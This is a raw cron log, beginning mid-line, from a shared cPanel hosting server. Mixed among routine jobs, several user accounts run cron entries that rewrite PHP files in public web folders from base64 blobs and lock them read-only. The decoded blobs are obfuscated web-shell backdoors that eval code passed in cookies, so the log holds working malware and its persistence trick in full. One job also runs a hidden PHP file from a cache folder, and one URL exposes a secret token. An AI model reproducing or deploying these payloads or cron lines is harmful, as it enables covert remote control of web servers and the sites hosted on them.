jo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:29:02 medusa CROND[17978]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:29:02 medusa CROND[17981]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:29:02 medusa CROND[17983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:29:02 medusa CROND[17982]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:29:02 medusa CROND[17986]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:29:02 medusa CROND[17987]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:30:01 medusa CROND[9805]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:30:01 medusa CROND[9809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9810]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:30:01 medusa CROND[9812]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 18:30:01 medusa CROND[9813]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9817]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9819]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:30:01 medusa CROND[9820]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:30:01 medusa CROND[9824]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9827]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:30:01 medusa CROND[9825]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9823]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 18:30:01 medusa CROND[9833]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:30:01 medusa CROND[9831]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:30:01 medusa CROND[9837]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 18:30:01 medusa CROND[9836]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9839]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9840]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:30:01 medusa CROND[9841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:30:01 medusa CROND[9842]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:30:01 medusa CROND[9832]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:30:01 medusa CROND[9845]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:30:01 medusa CROND[9846]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:30:01 medusa CROND[9844]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 18:30:01 medusa CROND[9849]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9857]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:30:01 medusa CROND[9858]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:30:01 medusa CROND[9850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:30:01 medusa CROND[9856]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:30:01 medusa CROND[9899]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:31:01 medusa CROND[2459]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:31:01 medusa CROND[2460]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:31:01 medusa CROND[2461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:31:01 medusa CROND[2462]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:31:01 medusa CROND[2463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:31:01 medusa CROND[2467]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:31:01 medusa CROND[2468]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:31:01 medusa CROND[2470]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:31:01 medusa CROND[2471]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
